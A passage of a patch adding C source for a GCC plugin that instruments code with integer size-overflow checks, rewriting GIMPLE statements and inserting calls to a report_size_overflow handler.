++		error("%qE attribute only applies to functions", name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec size_overflow_attr = {
++	.name				= "size_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_size_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static struct attribute_spec intentional_overflow_attr = {
++	.name				= "intentional_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_intentional_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void __unused *event_data, void __unused *data)
++{
++	register_attribute(&size_overflow_attr);
++	register_attribute(&intentional_overflow_attr);
++}
++
++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html
++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed)
++{
++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); }
++#define cwmixa( in ) { cwfold( in, m, k, h ); }
++#define cwmixb( in ) { cwfold( in, n, h, k ); }
++
++	unsigned int m = 0x57559429;
++	unsigned int n = 0x5052acdb;
++	const unsigned int *key4 = (const unsigned int *)key;
++	unsigned int h = len;
++	unsigned int k = len + seed + n;
++	unsigned long long p;
++
++	while (len >= 8) {
++		cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2;
++		len -= 8;
++	}
++	if (len >= 4) {
++		cwmixb(key4[0]) key4 += 1;
++		len -= 4;
++	}
++	if (len)
++		cwmixa(key4[0] & ((1 << (len * 8)) - 1 ));
++	cwmixb(h ^ (k + n));
++	return k ^ h;
++
++#undef cwfold
++#undef cwmixa
++#undef cwmixb
++}
++
++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed)
++{
++	unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff;
++	unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff;
++	return fn ^ codes;
++}
++
++static inline tree get_original_function_decl(tree fndecl)
++{
++	if (DECL_ABSTRACT_ORIGIN(fndecl))
++		return DECL_ABSTRACT_ORIGIN(fndecl);
++	return fndecl;
++}
++
++static inline gimple get_def_stmt(const_tree node)
++{
++	gcc_assert(node != NULL_TREE);
++	gcc_assert(TREE_CODE(node) == SSA_NAME);
++	return SSA_NAME_DEF_STMT(node);
++}
++
++static unsigned char get_tree_code(const_tree type)
++{
++	switch (TREE_CODE(type)) {
++	case ARRAY_TYPE:
++		return 0;
++	case BOOLEAN_TYPE:
++		return 1;
++	case ENUMERAL_TYPE:
++		return 2;
++	case FUNCTION_TYPE:
++		return 3;
++	case INTEGER_TYPE:
++		return 4;
++	case POINTER_TYPE:
++		return 5;
++	case RECORD_TYPE:
++		return 6;
++	case UNION_TYPE:
++		return 7;
++	case VOID_TYPE:
++		return 8;
++	case REAL_TYPE:
++		return 9;
++	case VECTOR_TYPE:
++		return 10;
++	case REFERENCE_TYPE:
++		return 11;
++	case OFFSET_TYPE:
++		return 12;
++	case COMPLEX_TYPE:
++		return 13;
++	default:
++		debug_tree((tree)type);
++		gcc_unreachable();
++	}
++}
++
++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len)
++{
++	gcc_assert(type != NULL_TREE);
++
++	while (type && len < CODES_LIMIT) {
++		tree_codes[len] = get_tree_code(type);
++		len++;
++		type = TREE_TYPE(type);
++	}
++	return len;
++}
++
++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes)
++{
++	const_tree arg, result, arg_field, type = TREE_TYPE(fndecl);
++	enum tree_code code = TREE_CODE(type);
++	size_t len = 0;
++
++	gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE);
++
++	arg = TYPE_ARG_TYPES(type);
++	// skip builtins __builtin_constant_p
++	if (!arg && DECL_BUILT_IN(fndecl))
++		return 0;
++
++	if (TREE_CODE_CLASS(code) == tcc_type)
++		result = type;
++	else
++		result = DECL_RESULT(fndecl);
++
++	gcc_assert(result != NULL_TREE);
++	len = add_type_codes(TREE_TYPE(result), tree_codes, len);
++
++	if (arg == NULL_TREE) {
++		gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON));
++		arg_field = DECL_ARGUMENT_FLD(fndecl);
++		if (arg_field == NULL_TREE)
++			return 0;
++		arg = TREE_TYPE(arg_field);
++		len = add_type_codes(arg, tree_codes, len);
++		gcc_assert(len != 0);
++		return len;
++	}
++
++	gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST);
++	while (arg && len < CODES_LIMIT) {
++		len = add_type_codes(TREE_VALUE(arg), tree_codes, len);
++		arg = TREE_CHAIN(arg);
++	}
++
++	gcc_assert(len != 0);
++	return len;
++}
++
++static const struct size_overflow_hash *get_function_hash(tree fndecl)
++{
++	unsigned int hash;
++	const struct size_overflow_hash *entry;
++	unsigned char tree_codes[CODES_LIMIT];
++	size_t len;
++	const char *func_name = get_asm_name(fndecl);
++
++	len = get_function_decl(fndecl, tree_codes);
++	if (len == 0)
++		return NULL;
++
++	hash = get_hash_num(func_name, (const char*) tree_codes, len, 0);
++
++	entry = size_overflow_hash[hash];
++	while (entry) {
++		if (!strcmp(entry->name, func_name))
++			return entry;
++		entry = entry->next;
++	}
++
++	return NULL;
++}
++
++static void check_arg_type(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	enum tree_code code = TREE_CODE(type);
++
++	gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE));
++}
++
++static int find_arg_number(const_tree arg, tree func)
++{
++	tree var;
++	unsigned int argnum = 1;
++
++	if (TREE_CODE(arg) == SSA_NAME)
++		arg = SSA_NAME_VAR(arg);
++
++	for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) {
++		if (strcmp(NAME(arg), NAME(var))) {
++			argnum++;
++			continue;
++		}
++		check_arg_type(var);
++		return argnum;
++	}
++	gcc_unreachable();
++}
++
++static tree create_new_var(tree type)
++{
++	tree new_var = create_tmp_var(type, "cicus");
++
++	add_referenced_var(new_var);
++	mark_sym_for_renaming(new_var);
++	return new_var;
++}
++
++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2)
++{
++	gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree type = TREE_TYPE(rhs1);
++	tree lhs = create_new_var(type);
++
++	assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2);
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++	return assign;
++}
++
++static bool is_bool(const_tree node)
++{
++	const_tree type;
++
++	if (node == NULL_TREE)
++		return false;
++
++	type = TREE_TYPE(node);
++	if (!INTEGRAL_TYPE_P(type))
++		return false;
++	if (TREE_CODE(type) == BOOLEAN_TYPE)
++		return true;
++	if (TYPE_PRECISION(type) == 1)
++		return true;
++	return false;
++}
++
++static tree cast_a_tree(tree type, tree var)
++{
++	gcc_assert(type != NULL_TREE);
++	gcc_assert(var != NULL_TREE);
++	gcc_assert(fold_convertible_p(type, var));
++
++	return fold_convert(type, var);
++}
++
++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before)
++{
++	gimple assign;
++
++	gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE);
++	if (gsi_end_p(*gsi) && before == AFTER_STMT)
++		gcc_unreachable();
++
++	if (lhs == CREATE_NEW_VAR)
++		lhs = create_new_var(dst_type);
++
++	assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs));
++
++	if (!gsi_end_p(*gsi)) {
++		location_t loc = gimple_location(gsi_stmt(*gsi));
++		gimple_set_location(assign, loc);
++	}
++
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	if (before)
++		gsi_insert_before(gsi, assign, GSI_NEW_STMT);
++	else
++		gsi_insert_after(gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++
++	return assign;
++}
++
++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi;
++
++	if (new_rhs1 == NULL_TREE)
++		return NULL_TREE;
++
++	if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) {
++		gsi = gsi_for_stmt(stmt);
++		assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before);
++		return gimple_get_lhs(assign);
++	}
++	return new_rhs1;
++}
++
++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3)
++{
++	tree size_overflow_type = get_size_overflow_type(stmt, node);
++
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs2 != NULL_TREE)
++		new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs3 != NULL_TREE)
++		new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT);
++
++	return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3);
++}
++
++
++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before)
++{
++	tree size_overflow_type, lhs;
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++
++	if (rhs1 == NULL_TREE) {
++		debug_gimple_stmt(oldstmt);
++		error("%s: rhs1 is NULL_TREE", __func__);
++		gcc_unreachable();
++	}
++
++	if (gimple_code(oldstmt) == GIMPLE_ASM)
++		lhs = rhs1;
++	else
++		lhs = gimple_get_lhs(oldstmt);
++
++	gsi = gsi_for_stmt(oldstmt);
++	pointer_set_insert(visited, oldstmt);
++	if (lookup_stmt_eh_lp(oldstmt) != 0) {
++		basic_block next_bb, cur_bb;
++		const_edge e;
++
++		gcc_assert(before == false);
++		gcc_assert(stmt_can_throw_internal(oldstmt));
++		gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL);
++		gcc_assert(!gsi_end_p(gsi));
++
++		cur_bb = gimple_bb(oldstmt);
++		next_bb = cur_bb->next_bb;
++		e = find_edge(cur_bb, next_bb);
++		gcc_assert(e != NULL);
++		gcc_assert(e->flags & EDGE_FALLTHRU);
++
++		gsi = gsi_after_labels(next_bb);
++		gcc_assert(!gsi_end_p(gsi));
++
++		before = true;
++		oldstmt = gsi_stmt(gsi);
++	}
++
++	size_overflow_type = get_size_overflow_type(oldstmt, lhs);
++
++	stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before);
++	gimple_set_plf(stmt, MY_STMT, true);
++	return gimple_get_lhs(stmt);
++}
++
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3)
++{
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++	tree new_var, lhs = gimple_get_lhs(oldstmt);
++
++	if (gimple_plf(oldstmt, MY_STMT))
++		return lhs;
++
++	if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) {
++		rhs1 = gimple_assign_rhs1(oldstmt);
++		rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT);
++	}
++	if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) {
++		rhs2 = gimple_assign_rhs2(oldstmt);
++		rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT);
++	}
++
++	stmt = gimple_copy(oldstmt);
++	gimple_set_location(stmt, gimple_location(oldstmt));
++	gimple_set_plf(stmt, MY_STMT, true);
++
++	if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR)
++		gimple_assign_set_rhs_code(stmt, MULT_EXPR);
++
++	if (is_bool(lhs))
++		new_var = SSA_NAME_VAR(lhs);
++	else
++		new_var = create_new_var(size_overflow_type);
++	new_var = make_ssa_name(new_var, stmt);
++	gimple_set_lhs(stmt, new_var);
++
++	if (rhs1 != NULL_TREE) {
++		if (!gimple_assign_cast_p(oldstmt))
++			rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		gimple_assign_set_rhs1(stmt, rhs1);
++	}
++
++	if (rhs2 != NULL_TREE)
++		gimple_assign_set_rhs2(stmt, rhs2);
++#if BUILDING_GCC_VERSION >= 4007
++	if (rhs3 != NULL_TREE)
++		gimple_assign_set_rhs3(stmt, rhs3);
++#endif
++	gimple_set_vuse(stmt, gimple_vuse(oldstmt));
++	gimple_set_vdef(stmt, gimple_vdef(oldstmt));
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, stmt, GSI_SAME_STMT);
++	update_stmt(stmt);
++	pointer_set_insert(visited, oldstmt);
++	return gimple_get_lhs(stmt);
++}
++
++static gimple overflow_create_phi_node(gimple oldstmt, tree result)
++{
++	basic_block bb;
++	gimple phi;
++	gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt);
++
++	bb = gsi_bb(gsi);
++
++	phi = create_phi_node(result, bb);
++	gsi = gsi_last(phi_nodes(bb));
++	gsi_remove(&gsi, false);
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, phi, GSI_NEW_STMT);
++	gimple_set_bb(phi, bb);
++	gimple_set_plf(phi, MY_STMT, true);
++	return phi;
++}
++
++static basic_block create_a_first_bb(void)
++{
++	basic_block first_bb;
++
++	first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR);
++	return first_bb;
++}
++
++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i)
++{
++	basic_block bb;
++	const_gimple newstmt;
++	gimple_stmt_iterator gsi;
++	bool before = BEFORE_STMT;
++
++	if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) {
++		gsi = gsi_for_stmt(get_def_stmt(arg));
++		newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT);
++		return gimple_get_lhs(newstmt);
++	}
++
++	bb = gimple_phi_arg_edge(oldstmt, i)->src;
++	gsi = gsi_after_labels(bb);
++	if (bb->index == 0) {
++		bb = create_a_first_bb();
++		gsi = gsi_start_bb(bb);
++	}
++	newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before);
++	return gimple_get_lhs(newstmt);
++}
++
++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs)
++{
++	gimple newstmt;
++	gimple_stmt_iterator gsi;
++	void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update);
++	gimple def_newstmt = get_def_stmt(new_rhs);
++
++	gsi_insert = gsi_insert_after;
++	gsi = gsi_for_stmt(def_newstmt);
++
++	switch (gimple_code(get_def_stmt(arg))) {
++	case GIMPLE_PHI:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		gsi = gsi_after_labels(gimple_bb(def_newstmt));
++		gsi_insert = gsi_insert_before;
++		break;
++	case GIMPLE_ASM:
++	case GIMPLE_CALL:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		break;
++	case GIMPLE_ASSIGN:
++		newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt));
++		break;
++	default:
++		/* unknown gimple_code (handle_build_new_phi_arg) */
++		gcc_unreachable();
++	}
++
++	gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt));
++	gsi_insert(&gsi, newstmt, GSI_NEW_STMT);
++	gimple_set_plf(newstmt, MY_STMT, true);
++	update_stmt(newstmt);
++	return newstmt;
++}
++
++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var)
++{
++	const_gimple newstmt;
++	gimple def_stmt;
++	tree new_rhs;
++
++	new_rhs = expand(visited, arg);
++	if (new_rhs == NULL_TREE)
++		return NULL_TREE;
++
++	def_stmt = get_def_stmt(new_rhs);
++	if (gimple_code(def_stmt) == GIMPLE_NOP)
++		return NULL_TREE;
++	new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT);
++
++	newstmt = handle_new_phi_arg(arg, new_var, new_rhs);
++	return gimple_get_lhs(newstmt);
++}
++
++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result)
++{
++	gimple phi, oldstmt = get_def_stmt(orig_result);
++	tree new_result, size_overflow_type;
++	unsigned int i;
++	unsigned int n = gimple_phi_num_args(oldstmt);
++
++	size_overflow_type = get_size_overflow_type(oldstmt, orig_result);
++
++	new_result = create_new_var(size_overflow_type);
++
++	pointer_set_insert(visited, oldstmt);
++	phi = overflow_create_phi_node(oldstmt, new_result);
++	for (i = 0; i < n; i++) {
++		tree arg, lhs;
++
++		arg = gimple_phi_arg_def(oldstmt, i);
++		if (is_gimple_constant(arg))
++			arg = cast_a_tree(size_overflow_type, arg);
++		lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result);
++		if (lhs == NULL_TREE)
++			lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i);
++		add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt));
++	}
++
++	update_stmt(phi);
++	return gimple_phi_result(phi);
++}
++
++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(orig_rhs);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN);
++
++	assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	return gimple_get_lhs(assign);
++}
++
++static void change_rhs1(gimple stmt, tree new_rhs1)
++{
++	tree assign_rhs;
++	const_tree rhs = gimple_assign_rhs1(stmt);
++
++	assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1);
++	gimple_assign_set_rhs1(stmt, assign_rhs);
++	update_stmt(stmt);
++}
++
++static bool check_mode_type(const_gimple stmt)
++{
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree lhs_type = TREE_TYPE(lhs);
++	const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt));
++	enum machine_mode lhs_mode = TYPE_MODE(lhs_type);
++	enum machine_mode rhs_mode = TYPE_MODE(rhs_type);
++
++	if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type)))
++		return false;
++
++	return true;
++}
++
++static bool check_undefined_integer_operation(const_gimple stmt)
++{
++	const_gimple def_stmt;
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	def_stmt = get_def_stmt(rhs1);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN)
++		return false;
++
++	if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR)
++		return false;
++	return true;
++}
++
++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs)
++{
++	const_tree rhs1, lhs, rhs1_type, lhs_type;
++	enum machine_mode lhs_mode, rhs_mode;
++	gimple def_stmt = get_def_stmt(no_const_rhs);
++
++	if (!gimple_assign_cast_p(def_stmt))
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	lhs = gimple_get_lhs(def_stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	lhs_type = TREE_TYPE(lhs);
++	rhs_mode = TYPE_MODE(rhs1_type);
++	lhs_mode = TYPE_MODE(lhs_type);
++	if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode)
++		return false;
++
++	return true;
++}
++
++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt)
++{
++	tree size_overflow_type, lhs = gimple_get_lhs(stmt);
++	tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	new_rhs1 = expand(visited, rhs1);
++
++	if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return lhs;
++
++	if (gimple_plf(stmt, NO_CAST_CHECK))
++		return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE);
++
++	if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) {
++		size_overflow_type = get_size_overflow_type(stmt, rhs1);
++		new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++		check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++	}
++
++	if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt))
++		return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE);
++
++	size_overflow_type = get_size_overflow_type(stmt, rhs1);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	change_rhs1(stmt, new_rhs1);
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++
++	rhs1 = gimple_assign_rhs1(stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type))
++		return create_assign(visited, stmt, rhs1, AFTER_STMT);
++
++	if (!check_mode_type(stmt))
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	size_overflow_type = get_size_overflow_type(stmt, lhs);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(def_stmt);
++
++	if (is_gimple_constant(rhs1))
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	gcc_assert(TREE_CODE(rhs1) != COND_EXPR);
++	switch (TREE_CODE(rhs1)) {
++	case SSA_NAME:
++		return handle_unary_rhs(visited, def_stmt);
++	case ARRAY_REF:
++	case BIT_FIELD_REF:
++	case ADDR_EXPR:
++	case COMPONENT_REF:
++	case INDIRECT_REF:
++#if BUILDING_GCC_VERSION >= 4006
++	case MEM_REF:
++#endif
++	case PARM_DECL:
++	case TARGET_MEM_REF:
++	case VAR_DECL:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	default:
++		debug_gimple_stmt(def_stmt);
++		debug_tree(rhs1);
++		gcc_unreachable();
++	}
++}
++
++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value)
++{
++	gimple cond_stmt;
++	gimple_stmt_iterator gsi = gsi_last_bb(cond_bb);
++
++	cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE);
++	gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(cond_stmt);
++}
++
++static tree create_string_param(tree string)
++{
++	tree i_type, a_type;
++	const int length = TREE_STRING_LENGTH(string);
++
++	gcc_assert(length > 0);
++
++	i_type = build_index_type(build_int_cst(NULL_TREE, length - 1));
++	a_type = build_array_type(char_type_node, i_type);
++
++	TREE_TYPE(string) = a_type;
++	TREE_CONSTANT(string) = 1;
++	TREE_READONLY(string) = 1;
++
++	return build1(ADDR_EXPR, ptr_type_node, string);
++}
++
++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min)
++{
++	gimple func_stmt;
++	const_gimple def_stmt;
++	const_tree loc_line;
++	tree loc_file, ssa_name, current_func;
++	expanded_location xloc;
++	char ssa_name_buf[256];
++	gimple_stmt_iterator gsi = gsi_start_bb(bb_true);
++
++	def_stmt = get_def_stmt(arg);
++	xloc = expand_location(gimple_location(def_stmt));
++
++	if (!gimple_has_location(def_stmt)) {
++		xloc = expand_location(gimple_location(stmt));
++		if (!gimple_has_location(stmt))
++			xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++	}
++
++	loc_line = build_int_cstu(unsigned_type_node, xloc.line);
++
++	loc_file = build_string(strlen(xloc.file) + 1, xloc.file);
++	loc_file = create_string_param(loc_file);
++
++	current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl));
++	current_func = create_string_param(current_func);
++
++	snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max");
++	ssa_name = build_string(256, ssa_name_buf);
++	ssa_name = create_string_param(ssa_name);
++
++	// void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name)
++	func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name);
++
++	gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING);
++}
++
++static void __unused print_the_code_insertions(const_gimple stmt)
++{
++	location_t loc = gimple_location(stmt);
++
++	inform(loc, "Integer size_overflow check applied here.");
++}
++
++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min)
++{
++	basic_block cond_bb, join_bb, bb_true;
++	edge e;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++
++	cond_bb = gimple_bb(stmt);
++	if (before)
++		gsi_prev(&gsi);
++	if (gsi_end_p(gsi))
++		e = split_block_after_labels(cond_bb);
++	else
++		e = split_block(cond_bb, gsi_stmt(gsi));
++	cond_bb = e->src;
++	join_bb = e->dest;
++	e->flags = EDGE_FALSE_VALUE;
++	e->probability = REG_BR_PROB_BASE;
++
++	bb_true = create_empty_bb(cond_bb);
++	make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE);
++	make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE);
++	make_edge(bb_true, join_bb, EDGE_FALLTHRU);
++
++	if (dom_info_available_p(CDI_DOMINATORS)) {
++		set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb);
++		set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb);
++	}
++
++	if (current_loops != NULL) {
++		gcc_assert(cond_bb->loop_father == join_bb->loop_father);
++		add_bb_to_loop(bb_true, cond_bb->loop_father);
++	}
++
++	insert_cond(cond_bb, arg, cond_code, type_value);
++	insert_cond_result(bb_true, stmt, arg, min);
++
++//	print_the_code_insertions(stmt);
++}
++
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before)
++{
++	const_tree rhs_type = TREE_TYPE(rhs);
++	tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min;
++
++	gcc_assert(rhs_type != NULL_TREE);
++	if (TREE_CODE(rhs_type) == POINTER_TYPE)
++		return;
++
++	gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE);
++
++	type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type));
++	type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type));
++
++	gcc_assert(!TREE_OVERFLOW(type_max));
++
++	cast_rhs_type = TREE_TYPE(cast_rhs);
++	type_max_type = TREE_TYPE(type_max);
++	type_min_type = TREE_TYPE(type_min);
++	gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type));
++	gcc_assert(useless_type_conversion_p(type_max_type, type_min_type));
++
++	insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false);
++	insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true);
++}
++
++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs)
++{
++	gimple change_rhs_def_stmt;
++	tree lhs = gimple_get_lhs(def_stmt);
++	tree lhs_type = TREE_TYPE(lhs);
